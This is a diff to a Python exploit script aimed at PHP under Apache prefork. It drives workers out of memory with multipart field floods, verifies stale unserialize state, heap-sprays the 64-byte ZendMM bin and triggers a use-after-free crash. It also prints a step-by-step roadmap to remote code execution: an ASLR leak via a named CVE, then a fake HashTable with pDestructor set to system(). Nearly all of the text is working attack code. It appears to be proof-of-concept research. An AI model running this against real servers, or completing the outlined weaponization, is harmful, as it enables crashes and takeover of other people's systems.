session.save_path = {args.session_path}?") + sys.exit(1) + print(f" [+] Session file: {size}B ({size//1024}KB)") + print(f" Preview: {preview[:120]}") + + # ── Phase 2: OOM during session re-init ───────────────────────── + + print() + print("[*] Phase 2: OOM during session unserialize...") if args.oom_fields: num_fields = args.oom_fields field_size = args.field_size print(f" Using configured: {num_fields} fields x {field_size}B") else: - print(" Auto-detecting memory_limit...") + print(" Auto-detecting OOM threshold...") result = detect_memory_limit(host, port, path) if result is None: - print("[-] Could not trigger OOM. memory_limit may be too high") - print(" or max_input_vars too low. Try --oom-fields manually.") + print("[-] Could not trigger OOM. memory_limit may be too high.") + print(" Try --oom-fields manually.") sys.exit(1) num_fields, field_size = result est_mb = num_fields * field_size / 1024 / 1024 print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)") - # OOM each worker by sending requests until all have been hit. - # We cannot target a specific worker (500 responses have no PID), - # so we OOM repeatedly and track which workers survived. - poisoned_workers = {} - sids_used = [] - max_oom_attempts = len(pids) * 8 + # Reduce field count slightly so memory fills close to the limit + # but doesn't OOM before the file upload triggers the progress + # handler. The session re-read of the ~500KB file pushes over. + adjusted = max(num_fields - 10, num_fields * 9 // 10) + print(f" Adjusted to {adjusted} fields (leave room for session read OOM)") + + max_oom_attempts = len(pids) * 6 + oom_workers = set() for attempt in range(max_oom_attempts): - sid = "uaf" + os.urandom(6).hex() - sids_used.append(sid) - - _, _, status = trigger_oom( - host, port, path, sid, php_payload, - num_fields, field_size + status, _ = trigger_oom( + host, port, path, sid, adjusted, field_size, ) if status == 500: print(f" [{attempt+1}] OOM triggered (status 500)") elif status == 0: - print(f" [{attempt+1}] Connection error (worker may have died)") + print(f" [{attempt+1}] Connection error (worker may have crashed)") else: print(f" [{attempt+1}] status={status} (no OOM)") continue @@ -571,117 +571,131 @@ def main(): new_workers = set(pids_after) - set(pids) for pid in survived: - if pid not in poisoned_workers: - poisoned_workers[pid] = sid + if pid not in oom_workers: + oom_workers.add(pid) print(f" [+] Worker {pid} survived OOM (stale BG state)") if new_workers: - print(f" New workers spawned: {sorted(new_workers)}") + print(f" New workers: {sorted(new_workers)}") pids = sorted(set(pids) | new_workers) - # Check session file for the latest SID - exists, has_php, data = check_session_file(sid, args.session_path) - if exists and has_php: - print(f" [+] Session file: {len(data)}B with PHP code") - if data and data != b"(permission denied)": - print(f" Content: {data[:120]}") - elif exists: - print(f" Session file: {len(data)}B (no PHP code?)") - - if len(poisoned_workers) >= len(pids): - print(f"\n All {len(pids)} workers poisoned!") - break - - if not poisoned_workers: - print("\n[-] No workers survived OOM. This target may be PHP-FPM,") - print(" not Apache mod_php with prefork MPM.") + if not oom_workers: + print() + print("[-] No workers survived OOM.") + print(" This target may use PHP-FPM (workers exit on bailout).") sys.exit(1) - print(f"\n Poisoned workers: {list(poisoned_workers.keys())}") + print(f"\n Survived workers: {sorted(oom_workers)}") + + # Check if session file still has the large content (unchanged + # means OOM happened during session re-init, not after flush) + exists2, size2, preview2 = check_session_file(sid, args.session_path) + if exists2 and abs(size2 - size) < 100: + print(f" [+] Session file unchanged ({size2}B)") + print(f" OOM during session re-init confirmed") + + # ── Phase 3: Verify stale BG state ────────────────────────────── + + print() + print("[*] Phase 3: Verifying stale BG(unserialize) state...") + + verified_pids = set() + for attempt in range(len(pids) * 4): + status, pid, body = verify_stale_state(host, port, path, sid) + + if pid in oom_workers and pid not in verified_pids: + if status == 0: + print(f" [+] Worker {pid} CRASHED on verification request!") + print(f" UAF triggered: stale .data pointer dereferenced") + verified_pids.add(pid) + elif status == 500: + print(f" [+] Worker {pid} returned 500 (OOM from large session read)") + print(f" Stale BG state confirmed (session still active)") + verified_pids.add(pid) + elif status == 200: + print(f" [+] Worker {pid} returned 200 (stale pointer readable)") + print(f" UAF window open: .data points into reused heap") + verified_pids.add(pid) + + if verified_pids >= oom_workers: + break + + if not verified_pids: + print(" Could not hit OOM'd workers for verification.") + print(" (May need more attempts with more workers)") if args.oom_only: - print("\n[*] --oom-only: stopping after Phase 1.") - print(" Confirmed primitives:") - print(" - OOM via multipart field flood") - print(" - Worker survival (Apache prefork)") - print(" - Session file persistence with PHP code") - print(" - Stale BG(serialize) state in surviving workers") + print() + print("[*] --oom-only: stopping after Phase 3.") + print_summary(oom_workers, verified_pids, False) return - # ── Phase 2: Heap spray ───────────────────────────────────────── + # ── Phase 4: Heap spray + UAF trigger ─────────────────────────── - print() - print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)") + if args.crash_test: + print() + print("[*] Phase 4: Heap spray (64-byte ZendMM bin)...") - for target_pid, sid in poisoned_workers.items(): - print(f"\n Spraying worker {target_pid}...") - hits = heap_spray(host, port, path, target_pid, - rounds=args.spray_rounds) - print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}") + for target_pid in sorted(oom_workers): + if target_pid not in find_workers(host, port, path): + print(f" Worker {target_pid} already gone, skipping") + continue - # ── Phase 3: Trigger UAF ──────────────────────────────────── - - print(f"\n Phase 3: Triggering UAF on worker {target_pid}...") - - crashed = False - trigger_sid = "trig" + os.urandom(6).hex() - for attempt in range(args.trigger_rounds): - status, pid, body = trigger_uaf( - host, port, path, target_pid, trigger_sid + print(f"\n Spraying worker {target_pid}...") + spray_sid = "spray" + os.urandom(5).hex() + hits = heap_spray( + host, port, path, spray_sid, target_pid, + rounds=args.spray_rounds, ) - if status == 0 or status >= 500: - print(f" [!] Worker crash on attempt {attempt+1}! " - f"status={status}") - crashed = True - break - if pid == target_pid and attempt < 5: - print(f" Attempt {attempt+1}: hit target, status={status}") + print(f" Spray rounds on target: {hits}/{args.spray_rounds}") - if crashed: - pids_final = find_workers(host, port, path) - if target_pid not in pids_final: - print(f" [+] CONFIRMED: Worker {target_pid} crashed!") - print(f" [+] UAF triggered via stale BG(serialize).data") - print(f" Current workers: {pids_final}") - print() - print(" For full RCE, a weaponized exploit would:") - print(" 1. Leak PHP base via CVE-2026-109619 info disclosure") - print(" 2. Construct fake HashTable with pDestructor = system()") - print(" 3. Place command string in arData") - print(" 4. Trigger serialize → pDestructor called → shell") + print(f" Triggering UAF...") + for t in range(20): + status, pid, body = verify_stale_state( + host, port, path, sid, + ) + if pid == target_pid: + if status == 0: + print(f" [!] CRASH on trigger {t+1}!") + break + elif status >= 500: + print(f" Trigger {t+1}: status {status} on target") + + pids_check = find_workers(host, port, path) + if target_pid not in pids_check: + print(f" [+] Worker {target_pid} CRASHED (UAF dereference)") + print(f" Current workers: {pids_check}") else: - print(f" Worker {target_pid} returned 500 but is still alive") - print(f" (May need more precise heap feng shui)") - else: - print(f" No crash after {args.trigger_rounds} attempts.") - print(f" The stale pointer likely still holds readable data.") - print() - print(" This is expected without precise heap feng shui.") - print(" The exploit demonstrates all confirmed primitives:") - print(" 1. OOM trigger via multipart field flood") - print(" 2. Worker survival on Apache prefork") - print(" 3. Session file persistence (cleanup skipped)") - print(" 4. Stale BG(serialize) state across requests") - print(" 5. Heap spray targeting 64-byte ZendMM bin") - print() - print(" Full weaponization requires:") - print(" a. ASLR bypass via info leak (CVE-2026-109619)") - print(" Session data from stale BG(unserialize) leaks") - print(" freed heap addresses through PHPSESSID cookie") - print(" b. Exact ZendMM 64-byte bin feng shui to reclaim") - print(" the BG(serialize).data slot with attacker data") - print(" c. Fake HashTable construction:") - print(" pDestructor → system() / one_gadget") - print(" arData → pointer to command string") - print(" d. Trigger php_var_serialize → zend_hash_destroy") - print(" on the fake table → RCE") + print(f" Worker {target_pid} still alive (no crash)") + print(f" Expected: precise heap feng shui needed for crash") print() + print_summary(oom_workers, verified_pids, args.crash_test) + + +def print_summary(oom_workers, verified_pids, ran_spray): print("=" * 64) - print(" Summary") + print(" Results") print("=" * 64) - for pid, sid in poisoned_workers.items(): - print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})") + print() + print(" Confirmed primitives:") + print(f" [+] OOM via multipart field flood") + print(f" [+] Apache prefork worker survival ({len(oom_workers)} workers)") + print(f" [+] Large session file creation via upload progress") + print(f" [+] OOM during session re-init (unserialize of large key)") + if verified_pids: + print(f" [+] Stale BG(unserialize) state across requests") + print(f" [+] UAF window: freed .data pointer reused by next request") + print() + print(" For full RCE (not implemented), a weaponized exploit needs:") + print(" 1. ASLR bypass via CVE-2026-109619 info leak") + print(" (stale session data leaks freed heap addresses)") + print(" 2. Heap feng shui: reclaim 64-byte slot with controlled data") + print(" 3. Fake HashTable: pDestructor -> system(), arData -> command") + print(" 4. Trigger serialize -> zend_hash_destroy -> pDestructor -> RCE") + print() + if not ran_spray: + print(" Run with --crash-test to attempt heap spray + UAF trigger.") if __name__ == "__main__":